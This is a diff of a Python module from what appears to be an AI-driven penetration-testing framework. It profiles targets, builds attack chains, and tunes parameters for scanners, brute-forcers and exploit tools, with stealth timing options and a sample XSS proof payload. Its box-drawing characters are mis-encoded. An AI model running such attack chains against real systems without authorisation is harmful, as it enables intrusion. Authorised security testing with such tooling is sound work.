f"โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค" ] - + for pid, proc_info in processes.items(): status = proc_info.get('status', 'unknown') command = proc_info.get('command', 'unknown')[:50] + "..." if len(proc_info.get('command', '')) > 50 else proc_info.get('command', 'unknown') duration = proc_info.get('duration', 0) - + status_color = ModernVisualEngine.COLORS['ACCENT_LINE'] if status == 'running' else ModernVisualEngine.COLORS['HACKER_RED'] - + dashboard_lines.append( f"โ”‚ {ModernVisualEngine.COLORS['CYBER_ORANGE']}PID {pid}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} | {status_color}{status}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} | {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{command}{ModernVisualEngine.COLORS['PRIMARY_BORDER']} โ”‚" ) - + dashboard_lines.append(f"โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ{ModernVisualEngine.COLORS['RESET']}") - + return "\n".join(dashboard_lines) - + @staticmethod def format_vulnerability_card(vuln_data: Dict[str, Any]) -> str: """Format vulnerability as a beautiful card""" severity = vuln_data.get('severity', 'unknown').upper() name = vuln_data.get('name', 'Unknown Vulnerability') description = vuln_data.get('description', 'No description available') - + # Severity color mapping severity_colors = { 'CRITICAL': ModernVisualEngine.COLORS['VULN_CRITICAL'], @@ -322,9 +322,9 @@ class ModernVisualEngine: 'LOW': ModernVisualEngine.COLORS['CYBER_ORANGE'], 'INFO': ModernVisualEngine.COLORS['TERMINAL_GRAY'] } - + color = severity_colors.get(severity, ModernVisualEngine.COLORS['TERMINAL_GRAY']) - + return f""" {color}โ”Œโ”€ ๐Ÿšจ VULNERABILITY DETECTED โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”‚ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{name:<60}{color} โ”‚ @@ -342,22 +342,22 @@ class ModernVisualEngine: 'RECOVERY': ModernVisualEngine.COLORS['TOOL_RECOVERY'], 'WARNING': ModernVisualEngine.COLORS['WARNING'] } - + color = error_colors.get(error_type.upper(), ModernVisualEngine.COLORS['ERROR']) - + card = f""" {color}โ”Œโ”€ ๐Ÿ”ฅ ERROR DETECTED โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”{ModernVisualEngine.COLORS['RESET']} {color}โ”‚ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Tool: {tool_name:<55}{color} โ”‚{ModernVisualEngine.COLORS['RESET']} {color}โ”‚ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Type: {error_type:<55}{color} โ”‚{ModernVisualEngine.COLORS['RESET']} {color}โ”‚ {ModernVisualEngine.COLORS['BRIGHT_WHITE']}Error: {error_message[:53]:<53}{color} โ”‚{ModernVisualEngine.COLORS['RESET']}""" - + if recovery_action: card += f""" {color}โ”‚ {ModernVisualEngine.COLORS['TOOL_RECOVERY']}Recovery: {recovery_action[:50]:<50}{color} โ”‚{ModernVisualEngine.COLORS['RESET']}""" - + card += f""" {color}โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜{ModernVisualEngine.COLORS['RESET']}""" - + return card @staticmethod @@ -370,16 +370,16 @@ class ModernVisualEngine: 'TIMEOUT': ModernVisualEngine.COLORS['TOOL_TIMEOUT'], 'RECOVERY': ModernVisualEngine.COLORS['TOOL_RECOVERY'] } - + color = status_colors.get(status.upper(), ModernVisualEngine.COLORS['INFO']) - + # Create progress bar if progress > 0 progress_bar = "" if progress > 0: filled = int(20 * progress) empty = 20 - filled progress_bar = f" [{ModernVisualEngine.COLORS['PROGRESS_BAR']}{'โ–ˆ' * filled}{ModernVisualEngine.COLORS['PROGRESS_EMPTY']}{'โ–‘' * empty}{ModernVisualEngine.COLORS['RESET']}] {progress*100:.1f}%" - + return f"{color}๐Ÿ”ง {tool_name.upper()}{ModernVisualEngine.COLORS['RESET']} | {color}{status}{ModernVisualEngine.COLORS['RESET']} | {ModernVisualEngine.COLORS['BRIGHT_WHITE']}{target}{ModernVisualEngine.COLORS['RESET']}{progress_bar}" @staticmethod @@ -392,7 +392,7 @@ class ModernVisualEngine: 'BLUE': ModernVisualEngine.COLORS['HIGHLIGHT_BLUE'], 'PURPLE': ModernVisualEngine.COLORS['HIGHLIGHT_PURPLE'] } - + color = highlight_colors.get(highlight_type.upper(), ModernVisualEngine.COLORS['HIGHLIGHT_RED']) return f"{color} {text} {ModernVisualEngine.COLORS['RESET']}" @@ -406,17 +406,17 @@ class ModernVisualEngine: 'LOW': ModernVisualEngine.COLORS['VULN_LOW'], 'INFO': ModernVisualEngine.COLORS['VULN_INFO'] } - + color = severity_colors.get(severity.upper(), ModernVisualEngine.COLORS['INFO']) count_text = f" ({count})" if count > 0 else "" - + return f"{color}{severity.upper()}{count_text}{ModernVisualEngine.COLORS['RESET']}" @staticmethod def create_section_header(title: str, icon: str = "๐Ÿ”ฅ", color: str = "FIRE_RED") -> str: """Create a section header with reddish styling""" header_color = ModernVisualEngine.COLORS.get(color, ModernVisualEngine.COLORS['FIRE_RED']) - + return f""" {header_color}{'โ•' * 70}{ModernVisualEngine.COLORS['RESET']} {header_color}{icon} {title.upper()}{ModernVisualEngine.COLORS['RESET']} @@ -432,10 +432,10 @@ class ModernVisualEngine: 'FAILED': ModernVisualEngine.COLORS['TOOL_FAILED'], 'TIMEOUT': ModernVisualEngine.COLORS['TOOL_TIMEOUT'] } - + color = status_colors.get(status.upper(), ModernVisualEngine.COLORS['INFO']) duration_text = f" ({duration:.2f}s)" if duration > 0 else "" - + return f"{color}โ–ถ {command[:60]}{'...' if len(command) > 60 else ''} | {status.upper()}{duration_text}{ModernVisualEngine.COLORS['RESET']}" # ============================================================================ @@ -488,7 +488,7 @@ class TargetProfile: attack_surface_score: float = 0.0 risk_level: str = "unknown" confidence_score: float = 0.0 - + def to_dict(self) -> Dict[str, Any]: """Convert TargetProfile to dictionary for JSON serialization""" return { @@ -518,7 +518,7 @@ class AttackStep: success_probability: float execution_time_estimate: int # seconds dependencies: List[str] = field(default_factory=list) - + class AttackChain: """Represents a sequence of attacks for maximum impact""" def __init__(self, target_profile: TargetProfile): @@ -528,26 +528,26 @@ class AttackChain: self.estimated_time: int = 0 self.required_tools: Set[str] = set() self.risk_level: str = "unknown" - + def add_step(self, step: AttackStep): """Add a step to the attack chain""" self.steps.append(step) self.required_tools.add(step.tool) self.estimated_time += step.execution_time_estimate - + def calculate_success_probability(self): """Calculate overall success probability of the attack chain""" if not self.steps: self.success_probability = 0.0 return - + # Use compound probability for sequential steps prob = 1.0 for step in self.steps: prob *= step.success_probability - + self.success_probability = prob - + def to_dict(self) -> Dict[str, Any]: """Convert AttackChain to dictionary""" return { @@ -571,13 +571,13 @@ class AttackChain: class IntelligentDecisionEngine: """AI-powered tool selection and parameter optimization engine""" - + def __init__(self): self.tool_effectiveness = self._initialize_tool_effectiveness() self.technology_signatures = self._initialize_technology_signatures() self.attack_patterns = self._initialize_attack_patterns() self._use_advanced_optimizer = True # Enable advanced optimization by default - + def _initialize_tool_effectiveness(self) -> Dict[str, Dict[str, float]]: """Initialize tool effectiveness ratings for different target types""" return { @@ -665,7 +665,7 @@ class IntelligentDecisionEngine: "pwninit": 0.85 # Great for CTF setup } } - + def _initialize_technology_signatures(self) -> Dict[str, Dict[str, List[str]]]: """Initialize technology detection signatures""" return { @@ -694,7 +694,7 @@ class IntelligentDecisionEngine: TechnologyStack.NODEJS.value: [3000, 8000, 8080, 9000] } } - + def _initialize_attack_patterns(self) -> Dict[str, List[Dict[str, Any]]]: """Initialize common attack patterns for different scenarios""" return { @@ -807,34 +807,34 @@ class IntelligentDecisionEngine: {"tool": "dalfox", "priority": 4, "params": {"blind": True, "mining_dom": True, "custom_payload": "alert(document.domain)"}} ] } - + def analyze_target(self, target: str) -> TargetProfile: """Analyze target and create comprehensive profile""" profile = TargetProfile(target=target) - + # Determine target type profile.target_type = self._determine_target_type(target) - + # Basic network analysis if profile.target_type in [TargetType.WEB_APPLICATION, TargetType.API_ENDPOINT]: profile.ip_addresses = self._resolve_domain(target) - + # Technology detection (basic heuristics) if profile.target_type == TargetType.WEB_APPLICATION: profile.technologies = self._detect_technologies(target) profile.cms_type = self._detect_cms(target) - + # Calculate attack surface score profile.attack_surface_score = self._calculate_attack_surface(profile) - + # Determine risk level profile.risk_level = self._determine_risk_level(profile) - + # Set confidence score profile.confidence_score = self._calculate_confidence(profile) - + return profile - + def _determine_target_type(self, target: str) -> TargetType: """Determine the type of target for appropriate tool selection""" # URL patterns @@ -843,25 +843,25 @@ class IntelligentDecisionEngine: if '/api/' in parsed.path or parsed.path.endswith('/api'): return TargetType.API_ENDPOINT return TargetType.WEB_APPLICATION - + # IP address pattern if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', target): return TargetType.NETWORK_HOST - + # Domain name pattern if re.match(r'^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', target): return TargetType.WEB_APPLICATION - + # File patterns if target.endswith(('.exe', '.bin', '.elf', '.so', '.dll')): return TargetType.BINARY_FILE - + # Cloud service patterns if any(cloud in target.lower() for cloud in ['amazonaws.com', 'azure', 'googleapis.com']): return TargetType.CLOUD_SERVICE - + return TargetType.UNKNOWN - + def _resolve_domain(self, target: str) -> List[str]: """Resolve domain to IP addresses""" try: @@ -869,50 +869,50 @@ class IntelligentDecisionEngine: hostname = urllib.parse.urlparse(target).hostname else: hostname = target - + if hostname: ip = socket.gethostbyname(hostname) return [ip] except Exception: pass return [] - + def _detect_technologies(self, target: str) -> List[TechnologyStack]: """Detect technologies using basic heuristics""" technologies = [] - + # This is a simplified version - in practice, you'd make HTTP requests # and analyze headers, content, etc. - + # For now, return some common technologies based on target patterns if 'wordpress' in target.lower() or 'wp-' in target.lower(): technologies.append(TechnologyStack.WORDPRESS) - + if any(ext in target.lower() for ext in ['.php', 'php']): technologies.append(TechnologyStack.PHP) - + if any(ext in target.lower() for ext in ['.asp', '.aspx']): technologies.append(TechnologyStack.DOTNET) - + return technologies if technologies else [TechnologyStack.UNKNOWN] - + def _detect_cms(self, target: str) -> Optional[str]: """Detect CMS type""" target_lower = target.lower() - + if 'wordpress' in target_lower or 'wp-' in target_lower: return "WordPress" elif 'drupal' in target_lower: return "Drupal" elif 'joomla' in target_lower: return "Joomla" - + return None - + def _calculate_attack_surface(self, profile: TargetProfile) -> float: """Calculate attack surface score based on profile""" score = 0.0 - + # Base score by target type type_scores = { TargetType.WEB_APPLICATION: 7.0, @@ -921,24 +921,24 @@ class IntelligentDecisionEngine: TargetType.CLOUD_SERVICE: 5.0, TargetType.BINARY_FILE: 4.0 } - + score += type_scores.get(profile.target_type, 3.0) - + # Add points for technologies score += len(profile.technologies) * 0.5 - + # Add points for open ports score += len(profile.open_ports) * 0.3 - + # Add points for subdomains score += len(profile.subdomains) * 0.2 - + # CMS adds attack surface if profile.cms_type: score += 1.5 - + return min(score, 10.0) # Cap at 10.0 - + def _determine_risk_level(self, profile: TargetProfile) -> str: """Determine risk level based on attack surface""" if profile.attack_surface_score >= 8.0: @@ -951,11 +951,11 @@ class IntelligentDecisionEngine: return "low" else: return "minimal" - + def _calculate_confidence(self, profile: TargetProfile) -> float: """Calculate confidence score in the analysis""" confidence = 0.5 # Base confidence - + # Increase confidence based on available data if profile.ip_addresses: confidence += 0.1 @@ -965,17 +965,17 @@ class IntelligentDecisionEngine: confidence += 0.1 if profile.target_type != TargetType.UNKNOWN: confidence += 0.1 - + return min(confidence, 1.0) - + def select_optimal_tools(self, profile: TargetProfile, objective: str = "comprehensive") -> List[str]: """Select optimal tools based on target profile and objective""" target_type = profile.target_type.value effectiveness_map = self.tool_effectiveness.get(target_type, {}) - + # Get base tools for target type base_tools = list(effectiveness_map.keys()) - + # Apply objective-based filtering if objective == "quick": # Select top 3 most effective tools @@ -990,28 +990,28 @@ class IntelligentDecisionEngine: selected_tools = [tool for tool in base_tools if tool in stealth_tools] else: selected_tools = base_tools - + # Add technology-specific tools for tech in profile.technologies: if tech == TechnologyStack.WORDPRESS and "wpscan" not in selected_tools: selected_tools.append("wpscan") elif tech == TechnologyStack.PHP and "nikto" not in selected_tools: selected_tools.append("nikto") - + return selected_tools - + def optimize_parameters(self, tool: str, profile: TargetProfile, context: Dict[str, Any] = None) -> Dict[str, Any]: """Enhanced parameter optimization with advanced intelligence""" if context is None: context = {} - + # Use advanced parameter optimizer if available if hasattr(self, '_use_advanced_optimizer') and self._use_advanced_optimizer: return parameter_optimizer.optimize_parameters_advanced(tool, profile, context) - + # Fallback to legacy optimization for compatibility optimized_params = {} - + # Tool-specific parameter optimization if tool == "nmap": optimized_params = self._optimize_nmap_params(profile, context) @@ -1056,40 +1056,40 @@ class IntelligentDecisionEngine: else: # Use advanced optimizer for unknown tools return parameter_optimizer.optimize_parameters_advanced(tool, profile, context) - + return optimized_params - + def enable_advanced_optimization(self): """Enable advanced parameter optimization""" self._use_advanced_optimizer = True - + def disable_advanced_optimization(self): """Disable advanced parameter optimization (use legacy)""" self._use_advanced_optimizer = False - + def _optimize_nmap_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Nmap parameters""" params = {"target": profile.target} - + if profile.target_type == TargetType.WEB_APPLICATION: params["scan_type"] = "-sV -sC" params["ports"] = "80,443,8080,8443,8000,9000" elif profile.target_type == TargetType.NETWORK_HOST: params["scan_type"] = "-sS -O" params["additional_args"] = "--top-ports 1000" - + # Adjust timing based on stealth requirements if context.get("stealth", False): params["additional_args"] = params.get("additional_args", "") + " -T2" else: params["additional_args"] = params.get("additional_args", "") + " -T4" - + return params - + def _optimize_gobuster_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Gobuster parameters""" params = {"url": profile.target, "mode": "dir"} - + # Select wordlist based on detected technologies if TechnologyStack.PHP in profile.technologies: params["additional_args"] = "-x php,html,txt,xml" @@ -1099,25 +1099,25 @@ class IntelligentDecisionEngine: params["additional_args"] = "-x jsp,html,txt,xml" else: params["additional_args"] = "-x html,php,txt,js" - + # Adjust threads based on target type if context.get("aggressive", False): params["additional_args"] += " -t 50" else: params["additional_args"] += " -t 20" - + return params - + def _optimize_nuclei_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Nuclei parameters""" params = {"target": profile.target} - + # Set severity based on context if context.get("quick", False): params["severity"] = "critical,high" else: params["severity"] = "critical,high,medium" - + # Add technology-specific tags tags = [] for tech in profile.technologies: @@ -1127,16 +1127,16 @@ class IntelligentDecisionEngine: tags.append("drupal") elif tech == TechnologyStack.JOOMLA: tags.append("joomla") - + if tags: params["tags"] = ",".join(tags) - + return params - + def _optimize_sqlmap_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize SQLMap parameters""" params = {"url": profile.target} - + # Add database-specific options based on detected technologies if TechnologyStack.PHP in profile.technologies: params["additional_args"] = "--dbms=mysql --batch" @@ -1144,35 +1144,35 @@ class IntelligentDecisionEngine: params["additional_args"] = "--dbms=mssql --batch" else: params["additional_args"] = "--batch" - + # Adjust aggressiveness if context.get("aggressive", False): params["additional_args"] += " --level=3 --risk=2" - + return params - + def _optimize_ffuf_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize FFuf parameters""" params = {"url": profile.target} - + # Set match codes based on target type if profile.target_type == TargetType.API_ENDPOINT: params["match_codes"] = "200,201,202,204,301,302,401,403" else: params["match_codes"] = "200,204,301,302,307,401,403" - + # Adjust threads if context.get("stealth", False): params["additional_args"] = "-t 10 -p 1" else: params["additional_args"] = "-t 40" - + return params - + def _optimize_hydra_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Hydra parameters""" params = {"target": profile.target} - + # Determine service based on open ports if 22 in profile.open_ports: params["service"] = "ssh" @@ -1182,16 +1182,16 @@ class IntelligentDecisionEngine: params["service"] = "http-get" else: params["service"] = "ssh" # Default - + # Set conservative parameters to avoid lockouts params["additional_args"] = "-t 4 -w 30" - + return params - + def _optimize_rustscan_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Rustscan parameters""" params = {"target": profile.target} - + # Adjust performance based on context if context.get("stealth", False): params["ulimit"] = 1000 @@ -1205,17 +1205,17 @@ class IntelligentDecisionEngine: params["ulimit"] = 5000 params["batch_size"] = 4500 params["timeout"] = 1500 - + # Enable scripts for comprehensive scans if context.get("objective", "normal") == "comprehensive": params["scripts"] = True - + return params - + def _optimize_masscan_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Masscan parameters""" params = {"target": profile.target} - + # Intelligent rate limiting based on target type if context.get("stealth", False): params["rate"] = 100 @@ -1224,17 +1224,17 @@ class IntelligentDecisionEngine: else: # Default intelligent rate params["rate"] = 1000 - + # Enable banners for service detection if context.get("service_detection", True): params["banners"] = True - + return params - + def _optimize_nmap_advanced_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize advanced Nmap parameters""" params = {"target": profile.target} - + # Select scan type based on context if context.get("stealth", False): params["scan_type"] = "-sS" @@ -1249,25 +1249,25 @@ class IntelligentDecisionEngine: params["timing"] = "T4" params["os_detection"] = True params["version_detection"] = True - + # Add NSE scripts based on target type if profile.target_type == TargetType.WEB_APPLICATION: params["nse_scripts"] = "http-*,ssl-*" elif profile.target_type == TargetType.NETWORK_HOST: params["nse_scripts"] = "default,discovery,safe" - + return params - + def _optimize_enum4linux_ng_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Enum4linux-ng parameters""" params = {"target": profile.target} - + # Enable comprehensive enumeration by default params["shares"] = True params["users"] = True params["groups"] = True params["policy"] = True - + # Add authentication if available in context if context.get("username"): params["username"] = context["username"] @@ -1275,13 +1275,13 @@ class IntelligentDecisionEngine: params["password"] = context["password"] if context.get("domain"): params["domain"] = context["domain"] - + return params - + def _optimize_autorecon_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize AutoRecon parameters""" params = {"target": profile.target} - + # Adjust scan depth based on objective if context.get("quick", False): params["port_scans"] = "top-100-ports" @@ -1289,16 +1289,16 @@ class IntelligentDecisionEngine: elif context.get("comprehensive", True): params["port_scans"] = "top-1000-ports" params["timeout"] = 600 - + # Set output directory params["output_dir"] = f"/tmp/autorecon_{profile.target.replace('.', '_')}" - + return params - + def _optimize_ghidra_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Ghidra parameters""" params = {"binary": profile.target} - + # Adjust analysis timeout based on context if context.get("quick", False): params["analysis_timeout"] = 120 @@ -1306,17 +1306,17 @@ class IntelligentDecisionEngine: params["analysis_timeout"] = 600 else: params["analysis_timeout"] = 300 - + # Set project name based on binary binary_name = os.path.basename(profile.target).replace('.', '_') params["project_name"] = f"hexstrike_{binary_name}" - + return params - + def _optimize_pwntools_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Pwntools parameters""" params = {"target_binary": profile.target} - + # Set exploit type based on context if context.get("remote_host") and context.get("remote_port"): params["exploit_type"] = "remote" @@ -1324,13 +1324,13 @@ class IntelligentDecisionEngine: params["target_port"] = context["remote_port"] else: params["exploit_type"] = "local" - + return params - + def _optimize_ropper_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Ropper parameters""" params = {"binary": profile.target} - + # Set gadget type and quality based on context if context.get("exploit_type") == "rop": params["gadget_type"] = "rop" @@ -1341,17 +1341,17 @@ class IntelligentDecisionEngine: else: params["gadget_type"] = "all" params["quality"] = 2 - + # Set architecture if known if context.get("arch"): params["arch"] = context["arch"] - + return params - + def _optimize_angr_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize angr parameters""" params = {"binary": profile.target} - + # Set analysis type based on context if context.get("symbolic_execution", True): params["analysis_type"] = "symbolic" @@ -1359,56 +1359,56 @@ class IntelligentDecisionEngine: params["analysis_type"] = "cfg" else: params["analysis_type"] = "static" - + # Add find/avoid addresses if provided if context.get("find_address"): params["find_address"] = context["find_address"] if context.get("avoid_addresses"): params["avoid_addresses"] = context["avoid_addresses"] - + return params - + def _optimize_prowler_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Prowler parameters""" params = {"provider": "aws"} - + # Set provider based on context or target analysis if context.get("cloud_provider"): params["provider"] = context["cloud_provider"] - + # Set profile and region if context.get("aws_profile"): params["profile"] = context["aws_profile"] if context.get("aws_region"): params["region"] = context["aws_region"] - + # Set output format and directory params["output_format"] = "json" params["output_dir"] = f"/tmp/prowler_{params['provider']}" - + return params - + def _optimize_scout_suite_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Scout Suite parameters""" params = {"provider": "aws"} - + # Set provider based on context if context.get("cloud_provider"): params["provider"] = context["cloud_provider"] - + # Set profile for AWS if params["provider"] == "aws" and context.get("aws_profile"): params["profile"] = context["aws_profile"] - + # Set report directory params["report_dir"] = f"/tmp/scout-suite_{params['provider']}" - + return params - + def _optimize_kube_hunter_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize kube-hunter parameters""" params = {"report": "json"} - + # Set target based on context if context.get("kubernetes_target"): params["target"] = context["kubernetes_target"] @@ -1416,17 +1416,17 @@ class IntelligentDecisionEngine: params["cidr"] = context["cidr"] elif context.get("interface"): params["interface"] = context["interface"] - + # Enable active hunting if specified if context.get("active_hunting", False): params["active"] = True - + return params - + def _optimize_trivy_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Trivy parameters""" params = {"target": profile.target, "output_format": "json"} - + # Determine scan type based on target if profile.target.startswith(('docker.io/', 'gcr.io/', 'quay.io/')) or ':' in profile.target: params["scan_type"] = "image" @@ -1434,19 +1434,19 @@ class IntelligentDecisionEngine: params["scan_type"] = "fs" else: params["scan_type"] = "image" # Default - + # Set severity filter if context.get("severity"): params["severity"] = context["severity"] else: params["severity"] = "HIGH,CRITICAL" - + return params - + def _optimize_checkov_params(self, profile: TargetProfile, context: Dict[str, Any]) -> Dict[str, Any]: """Optimize Checkov parameters""" params = {"directory": profile.target, "output_format": "json"} - + # Detect framework based on files in directory if context.get("framework"): params["framework"] = context["framework"] @@ -1456,13 +1456,13 @@ class IntelligentDecisionEngine: params["framework"] = "terraform" elif any(f.endswith('.yaml') or f.endswith('.yml') for f in os.listdir(profile.target) if os.path.isfile(os.path.join(profile.target, f))): params["framework"] = "kubernetes" - + return params - + def create_attack_chain(self, profile: TargetProfile, objective: str = "comprehensive") -> AttackChain: """Create an intelligent attack chain based on target profile""" chain = AttackChain(profile) - + # Select attack pattern based on target type and objective if profile.target_type == TargetType.WEB_APPLICATION: if objective == "quick": @@ -1502,16 +1502,16 @@ class IntelligentDecisionEngine: pattern = self.attack_patterns["bug_bounty_high_impact"] else: pattern = self.attack_patterns["web_reconnaissance"] - + # Create attack steps for step_config in pattern: tool = step_config["tool"] optimized_params = self.optimize_parameters(tool, profile) - + # Calculate success probability based on tool effectiveness effectiveness = self.tool_effectiveness.get(profile.target_type.value, {}).get(tool, 0.5) success_prob = effectiveness * profile.confidence_score - + # Estimate execution time (simplified) time_estimates = { "nmap": 120, "gobuster": 300, "nuclei": 180, "nikto": 240, @@ -1524,7 +1524,7 @@ class IntelligentDecisionEngine: "docker-bench-security": 180, "falco": 120, "checkov": 240, "terrascan": 200 } exec_time = time_estimates.get(tool, 180) - + step = AttackStep( tool=tool, parameters=optimized_params, @@ -1532,13 +1532,13 @@ class IntelligentDecisionEngine: success_probability=success_prob, execution_time_estimate=exec_time ) - + chain.add_step(step) - + # Calculate overall chain metrics chain.calculate_success_probability() chain.risk_level = profile.risk_level - + return chain # Global decision engine instance @@ -1605,7 +1605,7 @@ class RecoveryStrategy: class IntelligentErrorHandler: """Advanced error handling with automatic recovery strategies""" - + def __init__(self): self.error_patterns = self._initialize_error_patterns() self.recovery_strategies = self._initialize_recovery_strategies() @@ -1613,51 +1613,51 @@ class IntelligentErrorHandler: self.parameter_adjustments = self._initialize_parameter_adjustments() self.error_history = [] self.max_history_size = 1000 - + def _initialize_error_patterns(self) -> Dict[str, ErrorType]: """Initialize error pattern recognition""" return { # Timeout patterns r"timeout|timed out|connection timeout|read timeout": ErrorType.TIMEOUT, r"operation timed out|command timeout": ErrorType.TIMEOUT, - + # Permission patterns r"permission denied|access denied|forbidden|not authorized": ErrorType.PERMISSION_DENIED, r"sudo required|root required|insufficient privileges": ErrorType.PERMISSION_DENIED, - + # Network patterns r"network unreachable|host unreachable|no route to host": ErrorType.NETWORK_UNREACHABLE, r"connection refused|connection reset|network error": ErrorType.NETWORK_UNREACHABLE, - + # Rate limiting patterns r"rate limit|too many requests|throttled|429": ErrorType.RATE_LIMITED, r"request limit exceeded|quota exceeded": ErrorType.RATE_LIMITED, - + # Tool not found patterns r"command not found|no such file or directory|not found": ErrorType.TOOL_NOT_FOUND, r"executable not found|binary not found": ErrorType.TOOL_NOT_FOUND, - + # Parameter patterns r"invalid argument|invalid option|unknown option": ErrorType.INVALID_PARAMETERS, r"bad parameter|invalid parameter|syntax error": ErrorType.INVALID_PARAMETERS, - + # Resource patterns r"out of memory|memory error|disk full|no space left": ErrorType.RESOURCE_EXHAUSTED, r"resource temporarily unavailable|too many open files": ErrorType.RESOURCE_EXHAUSTED, - + # Authentication patterns r"authentication failed|login failed|invalid credentials": ErrorType.AUTHENTICATION_FAILED, r"unauthorized|invalid token|expired token": ErrorType.AUTHENTICATION_FAILED, - + # Target patterns r"target unreachable|target not responding|target down": ErrorType.TARGET_UNREACHABLE, r"host not found|dns resolution failed": ErrorType.TARGET_UNREACHABLE, - + # Parsing patterns r"parse error|parsing failed|invalid format|malformed": ErrorType.PARSING_ERROR, r"json decode error|xml parse error|invalid json": ErrorType.PARSING_ERROR } - + def _initialize_recovery_strategies(self) -> Dict[ErrorType, List[RecoveryStrategy]]: """Initialize recovery strategies for different error types""" return { @@ -1868,7 +1868,7 @@ class IntelligentErrorHandler: ) ] } - + def _initialize_tool_alternatives(self) -> Dict[str, List[str]]: """Initialize alternative tools for fallback scenarios""" return { @@ -1876,58 +1876,58 @@ class IntelligentErrorHandler: "nmap": ["rustscan", "masscan", "zmap"], "rustscan": ["nmap", "masscan"], "masscan": ["nmap", "rustscan", "zmap"], - + # Directory/file discovery alternatives "gobuster": ["feroxbuster", "dirsearch", "ffuf", "dirb"], "feroxbuster": ["gobuster", "dirsearch", "ffuf"], "dirsearch": ["gobuster", "feroxbuster", "ffuf"], "ffuf": ["gobuster", "feroxbuster", "dirsearch"], - + # Vulnerability scanning alternatives "nuclei": ["jaeles", "nikto", "w3af"], "jaeles": ["nuclei", "nikto"], "nikto": ["nuclei", "jaeles", "w3af"], - + # Web crawling alternatives "katana": ["gau", "waybackurls", "hakrawler"], "gau": ["katana", "waybackurls", "hakrawler"], "waybackurls": ["gau", "katana", "hakrawler"], - + # Parameter discovery alternatives "arjun": ["paramspider", "x8", "ffuf"], "paramspider": ["arjun", "x8"], "x8": ["arjun", "paramspider"], - + # SQL injection alternatives "sqlmap": ["sqlninja", "jsql-injection"], - + # XSS testing alternatives "dalfox": ["xsser", "xsstrike"], - + # Subdomain enumeration alternatives "subfinder": ["amass", "assetfinder", "findomain"], "amass": ["subfinder", "assetfinder", "findomain"], "assetfinder": ["subfinder", "amass", "findomain"], - + # Cloud security alternatives "prowler": ["scout-suite", "cloudmapper"], "scout-suite": ["prowler", "cloudmapper"], - + # Container security alternatives "trivy": ["clair", 